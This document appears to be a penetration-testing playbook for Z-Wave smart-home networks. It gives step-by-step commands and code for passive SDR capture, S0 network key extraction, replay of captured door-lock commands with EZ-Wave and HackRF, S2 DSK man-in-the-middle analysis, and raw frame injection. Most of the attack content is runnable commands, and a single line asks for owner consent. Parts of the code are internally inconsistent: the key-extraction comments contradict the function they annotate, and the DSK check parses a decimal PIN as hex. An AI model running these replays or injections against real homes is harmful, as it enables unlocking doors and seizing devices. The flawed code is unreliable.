Z-Wave S0/S2 Security Assessment
Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.
Prerequisites
- Hardware:
- RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
- HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
- OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
- Software:
gr-zwave(GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.
Z-Wave Frequency Reference
| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
Phase 1: Passive Capture with RTL-SDR + gr-zwave
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.
Phase 2: S0 Key Extraction During Inclusion
S0 inclusion sequence:
- Controller sends
NETWORK_KEY_SETwith the 16-byte network key XOR'd with the Z-Wave default key0x00×16. - Node acknowledges with
NETWORK_KEY_VERIFY.
Since the default key is all-zeros, the XOR is trivially reversible:
DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
# Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.
# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.
Use Scapy Z-Wave layer to parse frames from pcap:
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)
Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
With HackRF + GNU Radio for raw OOK replay:
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
Phase 4: S2 DSK MITM Analysis
S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:
MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.
Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under their own controller.
# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".
# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
pk_bytes = bytes.fromhex(public_key_hex)
dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]
Phase 5: Z-Force Active Fuzzing
Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows injecting arbitrary Z-Wave frames via the USB Z-Wave controller:
# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # Switch ON
# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000
# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5
Evidence
EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"Z-Wave S0 network key extracted NodeID={node_id}",
props={
"key": f"z-wave::s0::{home_id}",
"home_id": home_id,
"node_id": node_id,
"s0_network_key_hex": s0_key.hex(),
"security_class": "S0",
"frequency_mhz": 908.42,
"source": "gr-zwave+ezwave",
},
)
OPSEC Notes
- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies the network. Capture any frame to determine HomeID.
- Replay of door lock commands is a physical security event. Only perform with owner consent and a documented rollback plan (alternate entry method).
- RTL-SDR is receive-only — zero RF emission from capture phase.
- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer) if the operator has one deployed; most consumer smart-home installs do not.
- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is resistant to all MITM techniques described here; document as hardened.
References
- EZ-Wave: https://github.com/AFcruzBR/EZ-Wave
- gr-zwave: https://github.com/BastilleResearch/scapy-radio (Z-Wave module)
- Crowley & Heeger "Z-Wave Reverse Engineering" (DEF CON 21).
- Silabs Z-Wave PC Zniffer: https://www.silabs.com/developers/z-wave
- Z-Wave Alliance security classes: SDS13784 (Security 2 spec).